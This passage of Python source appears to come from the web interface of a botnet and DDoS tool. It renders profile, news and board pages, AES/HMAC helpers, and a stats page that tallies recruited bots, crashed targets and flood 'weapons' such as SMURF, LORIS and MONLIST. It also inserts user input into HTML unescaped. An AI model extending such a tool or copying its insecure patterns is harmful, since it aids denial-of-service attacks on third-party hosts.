  235. <center>Grid profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  236. def profile_crew(self, icon):
  237. files = os.listdir("core/images/crew/")
  238. if icon == "NONE":
  239. icon = "link1"
  240. html_stream = ""
  241. html_stream += "<table cellspacing='2' cellpadding='5'><form method='GET'><tr>"
  242. for f in files:
  243. id = str(f.replace(".txt", ""))
  244. value = str(f.replace(".txt", ""))
  245. if icon == value:
  246. checked = " CHECKED"
  247. else:
  248. checked = ""
  249. crew_img = open("core/images/crew/"+value+".txt").read()
  250. html_stream += "<td><input type='radio' name='profile_icon' id='"+id+"' value='"+value+"'"+ checked+"><img src='data:image/png;base64,"+crew_img+"'></td>"
  251. html_stream += "</tr></table>"
  252. return html_stream
  253. def html_board_profile(self):
  254. try:
  255. with open(self.mothership_boardcfg_file) as data_file:
  256. data = json.load(data_file)
  257. except:
  258. if os.path.exists(self.mothership_boardcfg_file) == True:
  259. print('[Error] [AI] Cannot open: "core/json/boardcfg.json" -> [Aborting!]\n')
  260. return
  261. else:
  262. print('[Info] [AI] Cannot found: "core/json/boardcfg.json" -> [Generating!]')
  263. with open(self.mothership_boardcfg_file, "w") as f:
  264. json.dump({"profile_token": "NONE", "profile_icon": "NONE", "profile_nick": "Anonymous"}, f, indent=4)
  265. f.close()
  266. with open(self.mothership_boardcfg_file) as data_file:
  267. data = json.load(data_file)
  268. self.profile_token = str(random.getrandbits(128)) # generating random token hash
  269. self.profile_icon = data["profile_icon"]
  270. self.profile_nick = data["profile_nick"]
  271. self.profile_nick.encode('utf-8')
  272. return self.pages["/header"] + """
  273. <script language="javascript">
  274. function BoardProfile() {
  275. var win_board = window.open("board_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  276. }
  277. </script>
  278. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  279. <u>Configure profile:</u>
  280. <table cellpadding="2" cellspacing="2">
  281. <form method='GET'>
  282. <tr>
  283. <td> <u>OPERATOR/LINK:</u></td>
  284. <td> """+self.profile_crew(self.profile_icon)+"""</td>
  285. </tr>
  286. <tr>
  287. <td> <u>NICKNAME:</u></td>
  288. <td> <input type="text" name="profile_nick" pattern=".{3,12}" required title="3 to 12 characters" value='"""+self.profile_nick+"""'></td>
  289. </tr>
  290. </table>
  291. <hr>
  292. <input type="hidden" name="update" value="1">
  293. <input type="submit" value="Set!" onclick="BoardProfile()"></pre>
  294. </form>
  295. """ + self.pages["/footer"]
  296. def html_grid_profile(self):
  297. try:
  298. with open(self.mothership_gridcfg_file) as data_file:
  299. data = json.load(data_file)
  300. except:
  301. if os.path.exists(self.mothership_gridcfg_file) == True:
  302. print('[Error] [AI] Cannot open: "core/json/gridcfg.json" -> [Aborting!]\n')
  303. return
  304. else:
  305. print('[Info] [AI] Cannot found: "core/json/gridcfg.json" -> [Generating!]')
  306. with open(self.mothership_gridcfg_file, "w") as f:
  307. json.dump({"grid_token": "NONE", "grid_contact": "UNKNOWN!", "grid_nick": "Anonymous"}, f, indent=4)
  308. f.close()
  309. with open(self.mothership_gridcfg_file) as data_file:
  310. data = json.load(data_file)
  311. self.grid_token = str(random.getrandbits(128)) # generating random token hash
  312. self.grid_contact = data["grid_contact"]
  313. self.grid_contact.encode('utf-8')
  314. self.grid_nick = data["grid_nick"]
  315. self.grid_nick.encode('utf-8')
  316. return self.pages["/header"] + """
  317. <script language="javascript">
  318. function GridProfile() {
  319. var win_board = window.open("grid_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  320. }
  321. </script>
  322. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  323. <u>Configure grid profile:</u><br>
  324. <table cellpadding="2" cellspacing="2">
  325. <form method='GET'>
  326. <tr>
  327. <td> <u>NICKNAME:</u></td>
  328. <td> <input type="text" name="grid_nick" pattern=".{3,12}" required title="3 to 12 characters" value='"""+self.grid_nick+"""'></td>
  329. </tr>
  330. <tr>
  331. <td> <u>EMAIL/URL (CONTACT):</u></td>
  332. <td> <input type="text" name="grid_contact" pattern=".{8,120}" required title="8 to 120 characters" value='"""+self.grid_contact+"""'></td>
  333. </tr>
  334. </table>
  335. <hr>
  336. <input type="hidden" name="update" value="1">
  337. <input type="submit" value="Set!" onclick="GridProfile()"></pre>
  338. </form>
  339. """ + self.pages["/footer"]
  340. def html_board_remove(self):
  341. try:
  342. with open(self.mothership_boardcfg_file, "w") as f:
  343. json.dump({"profile_token": "NONE", "profile_icon": "NONE", "profile_nick": "Anonymous"}, f, indent=4)
  344. except:
  345. return
  346. return self.pages["/header"]+"""<script>
  347. window.setTimeout(window.close,1234)
  348. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  349. <center>Board profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  350. def html_grid_remove(self):
  351. try:
  352. with open(self.mothership_gridcfg_file, "w") as f:
  353. json.dump({"grid_token": "NONE", "grid_contact": "UNKNOWN!", "grid_nick": "Anonymous"}, f, indent=4)
  354. except:
  355. return
  356. return self.pages["/header"]+"""<script>
  357. window.setTimeout(window.close,1234)
  358. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  359. <center>Grid profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  360. def html_stats(self):
  361. total_extra_attacks = int(self.aloic) + int(self.aloris) + int(self.aufosyn) + int(self.aspray) + int(self.asmurf) + int(self.axmas) + int(self.anuke) + int(self.atachyon) + int(self.amonlist) + int(self.afraggle) + int(self.asniper) + int(self.aufoack) + int(self.auforst) + int(self.adroper) + int(self.aoverlap) + int(self.apinger) + int(self.aufoudp)
  362. if self.ranking == "Rookie": # Rookie
  363. your_ranking = "<font color='white'>Rookie [*]</font>"
  364. elif self.ranking == "Mercenary": # Mercenary
  365. your_ranking = "<font color='cyan'>Mercenary [**]</font>"
  366. elif self.ranking == "Bandit": # Bandit
  367. your_ranking = "<font color='blueviolet'>Bandit [***]</font>"
  368. elif self.ranking == "UFOmmander!": # UFOmmander!
  369. your_ranking = "<font color='blue'>UFOmmander! [****]</font>"
  370. elif self.ranking == "UFOl33t!": # UFOl33t!
  371. your_ranking = "<font color='red'>UFOl33t! [&#x25BC;]</font>"
  372. else:
  373. your_ranking = "<font color='yellow' size='4'>[-]</font> ( no0b! )" # no0b hacking attempt! ;-)
  374. return self.pages["/header"] + """<script language="javascript">
  375. function Ranking() {
  376. var win_ranking = window.open("ranking","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  377. }
  378. function Grid() {
  379. var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  380. }
  381. function Board() {
  382. var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  383. }
  384. function Links() {
  385. var win_links = window.open("links","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  386. }
  387. function Streams() {
  388. var win_streams = window.open("streams","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  389. }
  390. </script></head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  391. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  392. <center>
  393. <table cellpadding="5" cellspacing="5"><tr>
  394. <td><a href="javascript:alert('CR1SPR-9-AI says: This is your ship, """ + self.ranking + """... Not bad, Eeeeh!?.');"><img src='data:image/png;base64,"""+self.mothership_img+"""'></a></td><td>
  395. <td>STATS device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button> <br><br> <button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit data links..." onclick="Links()">VISIT LINKS!</button> <button title="Visit Streams..." onclick="Streams()">VISIT STREAMS!</button></td>
  396. </tr></table>
  397. <table border="0" cellpadding="5" cellspacing="10"><tr><td>
  398. <table border="1" cellpadding="5" cellspacing="10">
  399. <tr>
  400. <td><b><u>Globalnet:</u></b></td></tr>
  401. <tr>
  402. <td>GLOBAL.RADAR (nodes):</td><td align='right'><font color='orange'><a href="/radar" target="_blank">"""+str(len(self.list_globalnet))+"""</a></font></td>
  403. </tr>
  404. <tr>
  405. <td>SHIP.WARPS (nodes):</td><td align='right'><font color='orange'><a href="/blackholes" target="_blank">"""+str(len(self.list_blackholes))+"""</a></font></td>
  406. </tr>
  407. </table>
  408. <br>
  409. <table border="1" cellpadding="5" cellspacing="10"><tr>
  410. <td><b><u>Missions:</u></b></td></tr>
  411. <tr>
  412. <td>Created (launched):</td><td align='right'><font color='red'>""" + str(self.amissions) + """</font></td></tr>
  413. <tr>
  414. <td>Attacks (completed):</td><td align='right'><font color='blue'>""" + str(self.acompleted) + """</font></td></tr>
  415. <tr>
  416. <td>Targets (crashed):</td><td align='right'><font color='green'>""" + str(self.tcrashed) + """</font></td></tr>
  417. <tr>
  418. <td>Crashing (T*100/A=C%):</td><td align='right'><font color='orange'>""" + str(round(self.mothership_acc, 2)) + """%</font></td></tr>
  419. </table>
  420. </td><td>
  421. <br>
  422. <table border="1" cellpadding="5" cellspacing="10"><tr>
  423. <td><b><u>General:</u></b></td></tr>
  424. <tr>
  425. <td>Mothership ID:</td><td align='right'><font color='cyan'><b>""" + str(self.mothership_id) + """</b></font></td></tr>
  426. <td>Model:</td><td align='right'><font color='blue'>""" + str(self.mothership_model) + """</font></td></tr>
  427. <tr><td>Born:</td><td align='right'><font color='orange'>""" + str(time.ctime(os.path.getctime('ufonet'))) + """</font></td></tr>
  428. <tr><td>Ranking:</td><td align='right'>""" + str(your_ranking) + """</td></tr>
  429. <tr><td>Flying (times):</td><td align='right'><font color='red'><b>""" + str(self.aflying) + """</b></font></td></tr>
  430. </table>
  431. </td><td>
  432. <table border="1" cellpadding="5" cellspacing="10"><tr>
  433. <td><b><u>Botnet:</u></b></td></tr>
  434. <tr>
  435. <td>Total Cargo (now):</td><td align='right'><a href='javascript:runCommandX("cmd_list_army")'>"""+ self.total_botnet +"""</a></td></tr>
  436. <tr>
  437. <td>Scanner (new bots via dorking):</td>
  438. <td align='right'><font color='blue'>""" + str(self.ascanner) + """</font></td></tr>
  439. <tr>
  440. <td>Transferred (new bots via blackholes):</td>
  441. <td align='right'><font color='green'>""" + str(self.atransferred) + """</font></td></tr>
  442. <tr>
  443. <td>Max. Chargo (always): </td><td align='right'><font color='orange'>""" + str(self.amax_chargo) + """</font></td></tr>
  444. </table>
  445. <br>
  446. <table border="1" cellpadding="5" cellspacing="10"><tr>
  447. <td><b><u>Weapons (use):</u></b></td></tr>
  448. <tr>
  449. <td>LOIC:</td><td align='right'><font color='cyan'>""" + str(self.aloic) + """</font></td>
  450. <td>MONLIST:</td><td align='right'><font color='cyan'>""" + str(self.amonlist) + """</font></td>
  451. <td>LORIS:</td><td align='right'><font color='cyan'>""" + str(self.aloris) + """</font></td></tr>
  452. <tr>
  453. <td>UFOSYN:</td><td align='right'><font color='cyan'>""" + str(self.aufosyn) + """</font></td>
  454. <td>FRAGGLE:</td><td align='right'><font color='cyan'>""" + str(self.afraggle) + """</font></td>
  455. <td>SPRAY:</td><td align='right'><font color='cyan'>""" + str(self.aspray) + """</font></td></tr>
  456. <tr>
  457. <td>SMURF:</td><td align='right'><font color='cyan'>""" + str(self.asmurf) + """</font></td>
  458. <td>SNIPER:</td><td align='right'><font color='cyan'>""" + str(self.asniper) + """</font></td>
  459. <td>XMAS:</td><td align='right'><font color='cyan'>""" + str(self.axmas) + """</font></td></tr>
  460. <tr>
  461. <td>NUKE:</td><td align='right'><font color='cyan'>""" + str(self.anuke) + """</font></td>
  462. <td>UFOACK:</td><td align='right'><font color='cyan'>""" + str(self.aufoack) + """</font></td>
  463. <td>TACHYON:</td><td align='right'><font color='cyan'>""" + str(self.atachyon) + """</font></td></tr>
  464. <tr>
  465. <td>UFORST:</td><td align='right'><font color='cyan'>""" + str(self.auforst) + """</font></td>
  466. <td>DROPER:</td><td align='right'><font color='cyan'>""" + str(self.adroper) + """</font></td>
  467. <td>OVERLAP:</td><td align='right'><font color='cyan'>""" + str(self.aoverlap) + """</font></td></tr>
  468. <tr>
  469. <td>PINGER:</td><td align='right'><font color='cyan'>""" + str(self.apinger) + """</font></td>
  470. <td>UFOUDP:</td><td align='right'><font color='cyan'>""" + str(self.aufoudp) + """</font></td>
  471. <td>TOTAL:</td><td align='right'><font color='red'>""" + str(total_extra_attacks) +"""</font></td>
  472. </tr>
  473. </table>
  474. </td></tr></table>
  475. <br><hr>
  476. <div id="cmdOut"></div>
  477. """ + self.pages["/footer"]
  478. def hmac_sha1(self, key, msg):
  479. if len(key) > 20:
  480. key = sha1(key).digest()
  481. key += chr(0).encode('utf-8') * (20 - len(key))
  482. o_key_pad = key.translate(self.trans_5C)
  483. i_key_pad = key.translate(self.trans_36)
  484. return sha1(o_key_pad + sha1(i_key_pad + msg).digest()).digest()
  485. def derive_keys(self, key):
  486. key = key.encode('utf-8')
  487. h = sha256()
  488. h.update(key)
  489. h.update('cipher'.encode('utf-8'))
  490. cipher_key = h.digest()
  491. h = sha256()
  492. h.update(key)
  493. h.update('mac'.encode('utf-8'))
  494. mac_key = h.digest()
  495. return (cipher_key, mac_key)
  496. def decrypt(self, key, text):
  497. KEY_SIZE = 32
  498. BLOCK_SIZE = 16
  499. MAC_SIZE = 20
  500. mode = AES.MODE_CFB
  501. try:
  502. iv_ciphertext_mac = base64.urlsafe_b64decode(text)
  503. except:
  504. try:
  505. padding = len(text) % 4
  506. if padding == 1:
  507. return ''
  508. elif padding == 2:
  509. text += b'=='
  510. elif padding == 3:
  511. text += b'='
  512. iv_ciphertext_mac = base64.urlsafe_b64decode(text)
  513. except TypeError:
  514. return None
  515. iv = iv_ciphertext_mac[:BLOCK_SIZE]
  516. ciphertext = iv_ciphertext_mac[BLOCK_SIZE:-MAC_SIZE]
  517. mac = iv_ciphertext_mac[-MAC_SIZE:]
  518. (cipher_key, mac_key) = self.derive_keys(key)
  519. expected_mac = self.hmac_sha1(mac_key, iv + ciphertext)
  520. if mac != expected_mac:
  521. return None
  522. aes = AES.new(cipher_key, mode, iv)
  523. self.decryptedtext = aes.decrypt(ciphertext)
  524. try:
  525. self.decryptedtext = self.decryptedtext.decode('utf-8')
  526. except:
  527. pass
  528. def encrypt(self, key, text):
  529. try:
  530. key = base64.b64encode(str(key))
  531. except:
  532. key = base64.b64encode(key.encode('utf-8'))
  533. c = Cipher(key, text)
  534. msg = c.encrypt()
  535. try:
  536. msg = msg.decode('utf-8')
  537. except:
  538. pass
  539. c.set_text(msg)
  540. self.encryptedtext = str(msg)
  541. def html_news(self):
  542. return self.pages["/header"] + """<script language="javascript">
  543. function Decrypt(){
  544. news_key=document.getElementById("news_key").value
  545. if(news_key == "") {
  546. window.alert("You need to enter a valid key (provided by someone)");
  547. return
  548. }else{
  549. params="news_key="+escape(news_key)
  550. runCommandX("cmd_decrypt",params)
  551. document.getElementById("nb1").style.display = "none";
  552. }
  553. }
  554. </script>
  555. <script language="javascript">
  556. function RefreshNews(){
  557. news_source=document.getElementById("news_source").value
  558. if(news_source == "") {
  559. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  560. return
  561. }else{
  562. params="news_source="+escape(news_source)
  563. runCommandX("cmd_refresh_news",params)
  564. document.getElementById("nb1").style.display = "none";
  565. setTimeout("location.reload()", 10000)
  566. }
  567. }
  568. </script>
  569. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  570. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  571. <br>
  572. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  573. <td>Blackhole/IP:</td>
  574. <td><input type="text" name="news_source" id="news_source" size="20" value='"""+default_blackhole+"""'></td>
  575. </tr></table></td><td><button title="Search for news on that blackhole..." onclick="RefreshNews()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Search News...</button></td></tr></table>
  576. <hr>
  577. <table cellpadding="5" cellspacing="5"><tr>
  578. <td><a href="javascript:alert('Psihiz says: """ + self.ranking + """... Welcome to the Crypto-News!...');"><img src='data:image/png;base64,"""+self.alien1_img+"""'></a></td><td>
  579. <table cellpading="5" cellspacing="10"><tr><td>
  580. <form method='GET'>
  581. Your key: <input type="text" name="news_key" id="news_key" size="20" value='"""+str(self.crypto_key)+"""'>
  582. </td></tr><tr><td>
  583. <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
  584. </form>
  585. </td></tr></table></td></tr></table>
  586. <hr><br>
  587. </center>
  588. Last update: <font color='"""+ self.news_status_color + """'>"""+ self.news_datetime + """</font><br><br>
  589. <div id="cmdOut"></div>
  590. <div id="nb1" style="display: block;">"""+self.news_text+"""</div><br><br>
  591. """ + self.pages["/footer"]
  592. def html_tv(self):
  593. return self.pages["/header"] + """<script language="javascript">
  594. function Decrypt_tv(){
  595. tv_deckey=document.getElementById("tv_deckey").value
  596. if(tv_deckey == "") {
  597. window.alert("You need to enter a valid key (provided by someone)");
  598. return
  599. }else{
  600. params="tv_deckey="+escape(tv_deckey)
  601. runCommandX("cmd_decrypt_tv",params)
  602. document.getElementById("nb1").style.display = "none";
  603. }
  604. }
  605. </script>
  606. <script language="javascript">
  607. function RefreshTv(){
  608. tv_source=document.getElementById("tv_source").value
  609. if(tv_source == "") {
  610. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  611. return
  612. }else{
  613. params="tv_source="+escape(tv_source)
  614. runCommandX("cmd_refresh_tv",params)
  615. document.getElementById("nb1").style.display = "none";
  616. setTimeout("location.reload()", 10000)
  617. }
  618. }
  619. </script>
  620. <script type="text/javascript">
  621. function PlayTV(url_tv){
  622. var player=document.getElementById('player');
  623. var tv_stream_source=document.getElementById('player');
  624. var tv_a=document.getElementById('tv_a');
  625. var tv_p=document.getElementById('tv_p');
  626. tv_stream_source.src=url_tv;
  627. tv_a.href=url_tv;
  628. tv_p.innerHTML=url_tv;
  629. player.load();
  630. player.play();
  631. }
  632. </script>
  633. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  634. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  635. <br>
  636. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  637. <td>Blackhole/IP:</td>
  638. <td><input type="text" name="tv_source" id="tv_source" size="20" value='"""+default_blackhole+"""'></td>
  639. </tr></table></td><td><button title="Search for videos on that blackhole..." onclick="RefreshTv()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Search TV...</button></td></tr></table>
  640. <hr>
  641. <table cellpadding="5" cellspacing="5">
  642. <tr>
  643. <td><a href="javascript:alert('GrouNmnrrürr says: """ + self.ranking + """... Welcome to the Crypto-TV!...');"><img src='data:image/png;base64,"""+self.alien5_img+"""'></a></td>
  644. <td>
  645. <table cellpading="5" cellspacing="10"><tr><td>
  646. <form method='GET'>
  647. Your key: <input type="text" name="tv_deckey" id="tv_deckey" size="20" value='"""+str(self.crypto_key)+"""'>
  648. </td></tr><tr><td>
  649. <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_tv();>Try decryption!</a>
  650. </form>
  651. </td></tr></table>
  652. </td></tr></table>
  653. <br>
  654. <hr><br>
  655. Last update: <font color='"""+ self.tv_status_color + """'>"""+ self.tv_datetime + """</font><br><br>
  656. <div id="cmdOut"></div>
  657. <div id="nb1" style="display: block;">"""+self.tv_text+"""</div><br><br>
  658. """ + self.pages["/footer"]
  659. def html_missions(self):
  660. return self.pages["/header"] + """<script language="javascript">
  661. function Decrypt(){
  662. missions_key=document.getElementById("missions_key").value
  663. if(missions_key == "") {
  664. window.alert("You need to enter a valid key (provided by someone)");
  665. return
  666. }else{
  667. params="missions_key="+escape(missions_key)
  668. runCommandX("cmd_decrypt",params)
  669. document.getElementById("nb1").style.display = "none";
  670. }
  671. }
  672. </script>
  673. <script language="javascript">
  674. function RefreshMissions(){
  675. missions_source=document.getElementById("missions_source").value
  676. if(missions_source == "") {
  677. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  678. return
  679. }else{
  680. params="missions_source="+escape(missions_source)
  681. runCommandX("cmd_refresh_missions",params)
  682. document.getElementById("nb1").style.display = "none";
  683. setTimeout("location.reload()", 10000)
  684. }
  685. }
  686. </script>
  687. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  688. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  689. <br>
  690. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  691. <td>Blackhole/IP:</td>
  692. <td><input type="text" name="missions_source" id="missions_source" size="20" value='"""+default_blackhole+"""'></td>
  693. </tr></table></td><td><button title="Search for missions on that blackhole..." onclick="RefreshMissions()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Search missions...</button></td></tr></table>
  694. <hr>
  695. <table cellpadding="5" cellspacing="5"><tr>
  696. <td><a href="javascript:alert('Mnahät says: """ + self.ranking + """... Welcome to the Crypto-Missions!...');"><img src='data:image/png;base64,"""+self.alien2_img+"""'></a></td><td>
  697. <table cellpading="5" cellspacing="10"><tr><td>
  698. <form method='GET'>
  699. Your key: <input type="text" name="missions_key" id="missions_key" size="20" value='"""+str(self.crypto_key)+"""'>
  700. </td></tr><tr><td>
  701. <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
  702. </form>
  703. </td></tr></table></td></tr></table>
  704. <hr><br>
  705. </center>
  706. Last update: <font color='"""+ self.missions_status_color + """'>"""+ self.missions_datetime + """</font><br><br>
  707. <div id="cmdOut"></div>
  708. <div id="nb1" style="display: block;">"""+self.missions_text+"""</div><br><br>
  709. """ + self.pages["/footer"]
  710. def html_board(self):
  711. self.board_welcome = "<div id='board_warning' style='display: none;'><pre><u>WARNING:</u> <br><br> 1) This is our 'Space Cantina': DON'T BE A LAMER!!! <br> 2) NO language RESTRICTIONS <br> 3) ABUSING == #HACKBACK (THIS IS NOT KIND OF FAME YOU WANT)<br> 4) CONTENT can be MODIFIED/REMOVED without notice<br> 5) LOVE, DONATIONS and REPORTS -> <a href='http://127.0.0.1:9999/help' target='_blank'>HERE</a></pre></div>" # board hardcoded warning (hehe)
  712. self.board_topic = "<select id='board_selector'><option value='general'>GENERAL</option><option value='opsec'> - OPSEC: #UFOSTORM</option><option value='faq'>UFONET/FAQ</option><option value='bugs'>UFONET/BUGS</option><option value='media'>UFONET/MEDIA</option></select>"
  713. self.board_send_msg = "<button title='Send your message to the Board (REMEMBER: you will cannot remove it!)...' onclick='SendMessage()'>SEND IT!</button>"
  714. if '"profile_token": "NONE"' in open(self.mothership_boardcfg_file).read():
  715. device_state = "OFF"
  716. device = "BOARD device: <font color='red'>OFF</font><br>"
  717. else:
  718. device_state = "ON"
  719. self.moderator_text = ''.join(random.sample(self.moderator_text,len(self.moderator_text)))
  720. boardcfg_json_file = open(self.mothership_boardcfg_file, "r") # extract mothership boardcfg
  721. data = json.load(boardcfg_json_file)
  722. boardcfg_json_file.close()
  723. profile_token = data["profile_token"]
  724. profile_icon = data["profile_icon"]
  725. profile_nick = data["profile_nick"]
  726. self.profile_nick.encode('utf-8')
  727. operator_img = open("core/images/crew/"+profile_icon+".txt").read()
  728. device = "<u>OPERATOR/LINK:</u> <font color='green'>ON</font><br><table cellpadding='5'><tr><td><img src='data:image/png;base64,"+operator_img+"'></td></tr><tr><td> -NICKNAME: "+str(self.profile_nick)+"</td></tr><tr><td> -ID: "+str(profile_token)+"</td></tr></table>"
  729. if device_state == "OFF":
  730. board_filter = ""
  731. else:
  732. board_filter = "<table cellpadding='5' border='1'><tr><td><input type='radio' name='filter' id='filter_all' value='ALL' CHECKED>/ALL<br> </td><td><input type='radio' name='filter' id='filter_general' value='GENERAL'>/GENERAL</td><td><input type='radio' name='filter' id='filter_opsec' value='OPSEC'>/#OPSEC<br> </td><td><input type='radio' name='filter' id='filter_faq' value='FAQ'>/FAQ</td><td><input type='radio' name='filter' id='filter_bugs' value='BUGS'>/BUGS</td><td><input type='radio' name='filter' id='filter_media' value='MEDIA'>/MEDIA</td></tr></table>"
  733. if device_state == "OFF":
  734. sync_panel = ""
  735. else:
  736. sync_panel = "<table cellpadding='2' cellspacing='2'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='board_source' id='board_source' size='20' value='"+default_blackhole+"'></td></tr></table></td><td><button title='Search for posts on that blackhole...' onclick='SyncBoard()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Sync device...</button></td></tr></table><br><hr>"
  737. if device_state == "OFF":
  738. board_panel = ""
  739. else:
  740. with open(self.board_file) as f:
  741. for line in f:
  742. line = line.strip()
  743. self.board_warning += "\n" + " " + line + " " + "\n"
  744. f.close()
  745. self.moderator_text = re.sub("(.{100})", "\\1\n", self.moderator_text, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  746. l = time.ctime(os.path.getmtime(self.board_file)) # get last modified time
  747. board_panel = "<form method='GET'><table cellpadding='5'><tr><td><table cellpadding='10' border='1'><tr><td><table cellpadding='10' border='1'><tr><td> <input type='radio' name='board_action' id='read' onclick='javascript:OptionsCheck();' CHECKED> READ<br> </td><td> <input type='radio' name='board_action' id='write' onclick='javascript:OptionsCheck();'> WRITE<br></td></tr></table></td><td> KEY: <input type='text' name='board_key' id='board_key' size='20' value='"+str(self.crypto_key)+"'> </td></tr></table></td><td><div style='display:block' id='board_read'><table cellpadding='5'><tr><td>"+board_filter+"</td></tr><tr><td><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_board();>Try decryption!</a></td></tr></table></div></td></tr><tr><td>"+self.board_welcome+"</td><td><div style='display:none' id='board_send'><table cellpadding='10' border='1'><tr><td><table cellpadding='10' border='1'><tr><td>Blackhole/IP:</td><td><input type='text' name='board_source_send' id='board_source_send' size='20' value='"+default_blackhole+"'></td></tr><tr><td>TOPIC:</td><td>"+self.board_topic+"</td></tr><tr><td>MESSAGE:</td><td><textarea rows='3' cols='50' name='stream_txt' id='stream_txt' maxlength='140' placeholder='Enter your message (1-140 chars)...'></textarea></td></tr><tr><td>"+self.board_send_msg+"</td></tr></table></td></tr></table></div></td></tr></table></form><br><hr><br><div id='sync_panel_block' name='sync_panel_block' style='display:none;'>"+sync_panel+"<br></div><u>CRYPTO-BOARD</u>: (Last Update: <font color='green'>"+str(l)+"</font>)<br><br><div id='cmdOut'></div><div id='nb1' style='display: block;'>"+self.moderator_text+"</div><br><br>"
  748. if device_state == "OFF":
  749. remove_profile = ""
  750. else:
  751. remove_profile = '| <button title="Syncronize data from a blackhole/board with your device..." onclick="Sync_panel()">DOWNLOAD!</button> | <button title="Remove your profile and turn OFF this device..." onclick="RemoveProfile()">TURN OFF!</button>'
  752. return self.pages["/header"] + """<script language="javascript">
  753. function BoardProfile() {
  754. var win_board_profile = window.open("board_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  755. }
  756. function RemoveProfile() {
  757. var win_board_profile = window.open("board_remove","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  758. }
  759. function Decrypt_board(){
  760. board_key=document.getElementById("board_key").value
  761. if (document.getElementById('filter_all').checked) {
  762. filter = document.getElementById('filter_all').value;
  763. }
  764. if (document.getElementById('filter_general').checked) {
  765. filter = document.getElementById('filter_general').value;
  766. }
  767. if (document.getElementById('filter_opsec').checked) {
  768. filter = document.getElementById('filter_opsec').value;
  769. }
  770. if (document.getElementById('filter_faq').checked) {
  771. filter = document.getElementById('filter_faq').value;
  772. }
  773. if (document.getElementById('filter_bugs').checked) {
  774. filter = document.getElementById('filter_bugs').value;
  775. }
  776. if (document.getElementById('filter_media').checked) {
  777. filter = document.getElementById('filter_media').value;
  778. }
  779. if(board_key == "") {
  780. window.alert("You need to enter a valid key (provided by someone)");
  781. return
  782. }else{
  783. params="board_key="+escape(board_key)+"&filter="+escape(filter)
  784. runCommandX("cmd_decrypt_moderator_board",params)
  785. document.getElementById("nb1").style.display = "none";
  786. }
  787. }
  788. function OptionsCheck() {
  789. if (document.getElementById('read').checked) {
  790. document.getElementById('board_read').style.display = 'block';
  791. document.getElementById('board_send').style.display = 'none';
  792. document.getElementById('board_warning').style.display = 'none';
  793. }
  794. else if(document.getElementById('write').checked) {
